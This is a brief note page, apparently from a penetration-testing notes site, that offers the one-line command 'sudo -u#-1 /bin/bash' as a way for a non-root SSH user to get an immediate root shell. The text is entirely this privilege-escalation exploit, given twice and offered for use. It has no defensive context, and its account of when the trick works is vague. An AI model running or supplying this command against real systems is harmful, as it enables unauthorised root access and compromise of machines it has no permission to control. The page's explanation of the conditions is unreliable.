sudo -u#-1 /bin/bash

Nice trick if you are logged in with an ssh user that doesn't have root privileges (but there is another one that does)

Try:

sudo -u#-1 /bin/bash

This might give immediate root access

Last updated